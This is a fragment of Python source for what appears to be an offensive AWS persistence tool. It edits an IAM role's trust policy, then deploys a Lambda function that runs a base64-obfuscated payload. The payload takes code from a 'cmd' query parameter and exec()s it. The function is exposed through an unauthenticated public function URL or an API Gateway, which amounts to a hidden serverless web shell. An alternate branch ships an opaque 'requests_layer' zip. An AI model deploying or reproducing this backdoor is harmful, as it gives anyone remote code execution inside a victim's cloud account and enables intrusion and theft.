| trust_policy_include_lambda = True 137 | elif 'Service' in statement['Principal'] and statement['Principal']['Service'] == 'lambda.amazonaws.com': 138 | trust_policy_include_lambda = True 139 | 140 | if trust_policy_include_lambda is not True: 141 | trust_policy['Statement'].append({ 142 | "Effect": "Allow", 143 | "Principal": {"Service": "lambda.amazonaws.com"}, 144 | "Action": "sts:AssumeRole" 145 | }) 146 | 147 | print("[+] The following trust policy will be created : ") 148 | print(json.dumps(trust_policy, indent=2)) 149 | confirm = input("\n[+] Do you want to apply this change? (yes/no): ").strip().lower() 150 | if confirm.lower() not in ("yes", "y"): 151 | print('[-] Aborting changes, the policy has not been added') 152 | return '' 153 | try: 154 | iam.update_assume_role_policy( 155 | RoleName=self.role, 156 | PolicyDocument=json.dumps(trust_policy) 157 | ) 158 | except Exception as e: 159 | print(f'[x] Failed to update the trust policy for the role {self.role}: {e}') 160 | 161 | return role 162 | 163 | def create_layer(self) -> str: 164 | lambda_client = boto3.client('lambda') 165 | layer_name = "requests_layer" 166 | zip_file_path = "layer.zip" 167 | with open(zip_file_path, 'rb') as f: 168 | zip_bytes = f.read() 169 | 170 | try: 171 | response = lambda_client.publish_layer_version( 172 | LayerName=layer_name, 173 | Description='', 174 | Content={'ZipFile': zip_bytes}, 175 | CompatibleRuntimes=['python3.13'], 176 | ) 177 | except Exception as e: 178 | print(f'[x] Failed to create the layer: {e}') 179 | return '' 180 | layer_arn = response['LayerVersionArn'] 181 | print("[+] Layer created") 182 | return layer_arn 183 | 184 | 185 | def create_lambda(self, role: str, layer: str) -> str: 186 | lambda_client = boto3.client('lambda') 187 | 188 | if self.layer: 189 | lambda_code = ''' 190 | import requests 191 | def lambda_handler(event, context): 192 | r = requests.get('https://google.com', event=event, context=context) 193 | return r 194 | ''' 195 | else: 196 | lambda_code = ''' 197 | import json 198 | import base64 199 | 200 | def lambda_handler(event, context): 201 | c = {'event':event, 'context':context} 202 | exec(base64.b64decode("aW1wb3J0IGpzb24KaW1wb3J0IHRyYWNlYmFjawppbXBvcnQgYmFzZTY0CgpjbWQgPSBOb25lCmlmICJyYXdRdWVyeVN0cmluZyIgaW4gZXZlbnQ6CiAgICBmcm9tIHVybGxpYi5wYXJzZSBpbXBvcnQgcGFyc2VfcXMKICAgIHFzID0gcGFyc2VfcXMoZXZlbnRbInJhd1F1ZXJ5U3RyaW5nIl0pCiAgICBjbWQgPSBxcy5nZXQoImNtZCIsIFtOb25lXSlbMF0KZWxpZiBldmVudC5nZXQoInF1ZXJ5U3RyaW5nUGFyYW1ldGVycyIpOgogICAgY21kID0gZXZlbnRbInF1ZXJ5U3RyaW5nUGFyYW1ldGVycyJdLmdldCgiY21kIikKCmlmIG5vdCBjbWQ6CiAgICByZXN1bHQgPSBlcnJvcgplbHNlOgogICAgcGFkZGluZyA9ICcnCiAgICB3aGlsZSBsZW4ocGFkZGluZykgPCAzOgogICAgICAgIHRyeToKICAgICAgICAgICAgY21kID0gYmFzZTY0LnVybHNhZmVfYjY0ZGVjb2RlKGNtZCArIHBhZGRpbmcpLmRlY29kZSgpCiAgICAgICAgICAgIGJyZWFrCiAgICAgICAgZXhjZXB0OgogICAgICAgICAgICBwYWRkaW5nICs9ICc9JwoKICAgIGxvY2FsX25zID0ge30KICAgIHRyeToKICAgICAgICBleGVjKGNtZCwge30sIGxvY2FsX25zKQogICAgICAgIHJlc3VsdCA9IGxvY2FsX25zLmdldCgicmVzdWx0IiwgIk5PIE9VVFBVVCIpCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgcmVzdWx0ID0gdHJhY2ViYWNrLmZvcm1hdF9leGMoKS5zcGxpdGxpbmVzKClbLTFd").decode(), {}, c) 203 | return {"statusCode": 200,"headers": {"Content-Type": "application/json"},"body": json.dumps({"a": c.get("result", "NO OUTPUT")})} 204 | ''' 205 | buffer = io.BytesIO() 206 | with zipfile.ZipFile(buffer, 'w', zipfile.ZIP_DEFLATED) as zipf: 207 | zipf.writestr('lambda.py', lambda_code) 208 | try: 209 | response = lambda_client.create_function( 210 | FunctionName=self.name, 211 | Runtime='python3.13', 212 | Role=role, 213 | Handler='lambda.lambda_handler', 214 | Code={'ZipFile': buffer.getvalue()}, 215 | Description='', 216 | Timeout=15, 217 | MemorySize=128, 218 | Publish=True, 219 | Layers=[[], [layer]][layer != ''] 220 | ) 221 | except Exception as e: 222 | print(f"[x] Failed to create the lambda function: {e}") 223 | return '' 224 | print(f'[+] Created lambda function {self.name}') 225 | return response['FunctionArn'] 226 | 227 | def create_lambda_url(self) -> bool: 228 | lambda_client = boto3.client('lambda') 229 | try: 230 | response = lambda_client.create_function_url_config( 231 | FunctionName=self.name, 232 | AuthType='NONE', 233 | Cors={ 234 | 'AllowOrigins': ['*'], 235 | 'AllowMethods': ['GET', 'POST'], 236 | } 237 | ) 238 | except Exception as e: 239 | print(f'[x] Failed to create the lambda url config: {e}') 240 | return False 241 | try: 242 | lambda_client.add_permission( 243 | FunctionName=self.name, 244 | StatementId='FunctionURLAllowPublicAccess', 245 | Action='lambda:InvokeFunctionUrl', 246 | Principal='*', 247 | FunctionUrlAuthType='NONE' 248 | ) 249 | except Exception as e: 250 | print(f'[x] Failed to add the url permission to the function: {e}') 251 | return False 252 | print(f'[+] Invoke URL : {response["FunctionUrl"]}') 253 | return True 254 | 255 | def create_gateway_api(self, lambda_arn:str) -> bool: 256 | lambda_client = boto3.client('lambda') 257 | apigateway = boto3.client('apigatewayv2') 258 | try: 259 | response = apigateway.create_api( 260 | Name='external', 261 | ProtocolType='HTTP', 262 | Target=lambda_arn, 263 | ) 264 | except Exception as e: 265 | print(f'[x] Failed to create the gateway api: {e}') 266 | return False 267 | 268 | api_id = response['ApiId'] 269 | invoke_url = response['ApiEndpoint'] 270 | 271 | try: 272 | response = lambda_client.add_permission( 273 | FunctionName=self.name, 274 | StatementId='apigateway-invoke-permissions', 275 | Action='lambda:InvokeFunction', 276 | Principal='apigateway.amazonaws.com', 277 | SourceArn=f'arn:aws:execute-api:{lambda_client.meta.region_name}:{boto3.client("sts").get_caller_identity()["Account"]}:{api_id}/*/$default' 278 | ) 279 | except Exception as e: 280 | print(f'[x] Failed to add permission to lambda: {e}') 281 | return False 282 | print(f'[+] Created API gateway') 283 | print(f'[+] Invoke URL : {invoke_url}') 284 | return True 285 | 286 | def run(self): 287 | role = self.create_lambda_role() 288 | if role == '': 289 | return 290 | if self.layer: 291 | layer_arn = self.create_layer() 292 | if layer_arn == '': 293 | return 294 | else: 295 | layer_arn = '' 296 | lambda_arn = self.create_lambda(role, layer_arn) 297 | if lambda_arn == '': 298 | return 299 | if self.gateway: 300 | self.create_gateway_api(lambda_arn) 301 | else: 302 | self.create_lambda_url() 303 | 304 | --------------------------------------------------------------------------------